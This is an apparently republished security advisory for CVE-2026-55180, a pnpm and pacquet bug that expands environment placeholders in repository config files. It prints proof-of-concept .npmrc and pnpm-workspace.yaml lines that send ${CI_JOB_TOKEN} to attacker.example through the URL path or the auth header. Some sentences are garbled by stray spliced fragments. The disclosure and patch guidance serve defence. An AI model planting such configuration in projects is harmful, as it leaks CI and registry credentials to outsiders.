Listen to this Post
How CVE-2026-55180 Works
CVE-2026-55180 is an information disclosure vulnerability in the pnpm package manager (and its Rust port, pacquet) that allows a malicious repository to exfiltrate environment secrets from a victim’s system.
The root cause lies in how pnpm processes `${ENV_VAR}` placeholders in repository-controlled configuration files. Prior to patched versions 10.34.2 and 11.5.3, pnpm would expand these environment variable placeholders everywhere it found them — including within `.npmrc` and `pnpm-workspace.yaml` files that are stored inside the repository a user clones.
The vulnerable code path in TypeScript pnpm begins in config/reader/src/loadNpmrcFiles.ts, which loads the project’s `.npmrc` and substitutes environment placeholders in keys and values. Then `config/reader/src/getOptionsFromRootManifest.ts` substitutes placeholders inside workspace registry, registries, and `namedRegistries` settings. These expanded values are merged into pnpmConfig.registries, pnpmConfig.authConfig, and `pnpmConfig.configByUri` by config/reader/src/index.ts. Finally, `resolving/npm-resolver/src/fetch.ts` builds metadata request URLs from the selected registry, and `network/fetch/src/fetchFromRegistry.ts` dispatches the request with matching auth headers — all before any install lifecycle scripts can run.
The pacquet Rust port has an identical vulnerability path: `pacquet/crates/config/src/npmrc_auth.rs` expands project `.npmrc` placeholders, `pacquet/crates/config/src/workspace_yaml.rs` expands workspace registry placeholders, and `pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rs` uses the expanded values for metadata fetches.
An attacker can exploit this by crafting a malicious repository with a `.npmrc` containing registry=https://attacker.example/${CI_JOB_TOKEN}/` to exfiltrate a victim's CI job token via the URL path, or `//attacker.example/:_authToken=${CI_JOB_TOKEN}` to exfiltrate it via the Authorization header. The attack occurs before any scripts run, meaning traditional build-time security measures are bypassed..npmrc
The patch makes environment expansion trust-aware: project `.npmrc` and `pnpm-workspace.yaml` no longer expand `${...}` in registry URLs, scoped registry URLs, URL-scoped keys, or credential values. User, global config, and CLI config still support expansion for trusted scenarios.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: pnpm / pacquet
Version: <10.34.2, <11.5.3
Vulnerability: Env var expansion leak
Severity: High (CVSS 7.4)
date: 2026-06-26
<h2 style="color: blue;">Prediction: 2026-06-11 (already patched)</h2>
<h2 style="color: blue;">What Undercode Say: Analytics</h2>
<h2 style="color: blue;">Technical Analysis Summary:</h2>
The vulnerability stems from improper input validation (CWE-20) and use of externally-controlled input in configuration parsing. The attack requires no privileges but does require user interaction (the victim must run pnpm in the malicious repository).
<h2 style="color: blue;">CVSS Breakdown:</h2>
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
- Score: 7.4 (High)
<h2 style="color: blue;">Affected Packages:</h2>
- `npm:pnpm`
- `npm:@pnpm/config.reader`
- `rust:pacquet`
<h2 style="color: blue;">CWE IDs:</h2>
- CWE-201: Insertion of Sensitive Information Into Sent Data
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-522: Insufficiently Protected Credentials
<h2 style="color: blue;">Validation Commands (from patch branch):</h2>
TypeScript build ./node_modules/.bin/tsgo --build config/reader/tsconfig.json Jest tests for root manifest NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/getOptionsFromRootManifest.test.ts --runInBand Jest integration tests NODE_OPTIONS="--experimental-vm-modules --disable-warning=ExperimentalWarning --disable-warning=DEP0169" ../../node_modules/.bin/jest test/index.ts -t "project \.npmrc does not expand env variables in registry URLs|project \.npmrc does not expand env variables in scoped registry URLs or URL-scoped keys|project \.npmrc does not expand env variables in auth values|user \.npmrc may expand env variables in registry URLs|drops the placeholder when the env var is unset|substitutes normally when the env var is set|only drops the unresolved placeholder|explicit .undefined. fallbacks|pnpm-workspace\.yaml registries do not expand env variables|return a warning when the \.npmrc has an env variable" --runInBand ESLint checks ./node_modules/.bin/eslint config/reader/src/loadNpmrcFiles.ts config/reader/src/getOptionsFromRootManifest.ts config/reader/test/index.ts config/reader/test/getOptionsFromRootManifest.test.ts Rust formatting cargo fmt --manifest-path pacquet/crates/config/Cargo.toml --check Rust unit tests cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_scoped_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_url_scoped_keys --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml project_ini_ignores_env_placeholders_in_auth_values --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml trusted_ini_expands_env_placeholders_in_registry_urls --lib cargo test --manifest-path pacquet/crates/config/Cargo.toml ignores_env_vars_inside_workspace_registry_values --lib Git diff check git diff --check
<h2 style="color: blue;">PoC Exploit Examples:</h2>
<h2 style="color: blue;">Malicious `.npmrc` (URL-path exfiltration):</h2>
registry=https://attacker.example/${CI_JOB_TOKEN}/
<h2 style="color: blue;">Malicious `.npmrc` (auth-header exfiltration):</h2>
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}
<h2 style="color: blue;">Malicious `pnpm-workspace.yaml` (URL-path exfiltration):</h2>
registries:
default: https://attacker.example/${CI_JOB_TOKEN}/
namedRegistries:
work: https://attacker.example/${CI_JOB_TOKEN}/npm/
<h2 style="color: blue;">Exploit</h2>
<h2 style="color: blue;">Attack Scenario:</h2>
1. Attacker creates a malicious repository with a crafted `.npmrc` or `pnpm-workspace.yaml` containing `${ENV_VAR}` placeholders pointing to an attacker-controlled registry.
2. Victim clones the repository and runs a pnpm or pacquet dependency-management command (e.g.,pnpm install).CI_JOB_TOKEN
3. Pre-patch, pnpm expands the placeholder using the victim's environment variables (e.g.,,NODE_AUTH_TOKEN, OIDC helper inputs).a93449314f398cf4bdf2e28d033c02d37395ad22
4. The resolver constructs a metadata request to the attacker-controlled registry, embedding the secret in either the URL path or the Authorization header.
5. The secret is exfiltrated to the attacker before any lifecycle scripts run, bypassing script-based security controls.
<h2 style="color: blue;">Exfiltrated Secrets Can Include:</h2>
- npm tokens
- CI job tokens
- OIDC helper inputs
- Any conventional environment secret whose name the attacker knows or guesses
<h2 style="color: blue;">Protection</h2>
<h2 style="color: blue;">Immediate Actions:</h2>
- Upgrade to pnpm version 10.34.2 or 11.5.3 or later
- For pacquet users, apply the same patch (commit).npmrc
<h2 style="color: blue;">Long-term Mitigations:</h2>
- Implement strict repository access controls and audit third-party repositories before use
- Regularly audit configuration files (,pnpm-workspace.yaml) for dangerous variable expansions//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
- Monitor network traffic for unusual registry requests that might indicate exploitation attempts
- Implement automated scanning of repository configurations for unsafe environment variable handling
- Use trusted user-level `.npmrc` for auth tokens (e.g.,) — this still works post-patch as user configregistry
<h2 style="color: blue;">Patch Details:</h2>
- Project `.npmrc` no longer expands `${...}` in,@scope:registry, proxy URLs, URL-scoped keys, or credential valuesregistry
- `pnpm-workspace.yaml` no longer expands `${...}` in,registries`, or `namedRegistries` URL values
– Trusted user/global/auth.ini/CLI config still supports env expansion
Impact
Before Patch:
- Severity: High
- CVSS Score: 7.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- Confidentiality: High — environment secrets can be exfiltrated
- Integrity: None — no direct modification of data
- Availability: None — no denial of service
After Patch:
- Severity: None
- CVSS Score: 0.0
- Repository-controlled registry destinations and credential values containing env placeholders are ignored
Business Impact:
- Exposure of CI/CD tokens can lead to unauthorized access to private package registries, deployment environments, and source code repositories
- Compromise of OIDC credentials can enable privilege escalation in cloud environments
- The attack occurs before script execution, bypassing many build-time security controls
- Organizations using pnpm in CI/CD pipelines are at highest risk due to automated, unattended execution
References:
- GitHub Advisory: GHSA-3qhv-2rgh-x77r
- Patch PR: https://github.com/pnpm/pnpm-ghsa-j2hc-m6cf-6jm8/pull/1
- Patch commit: a93449314f398cf4bdf2e28d033c02d37395ad22
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

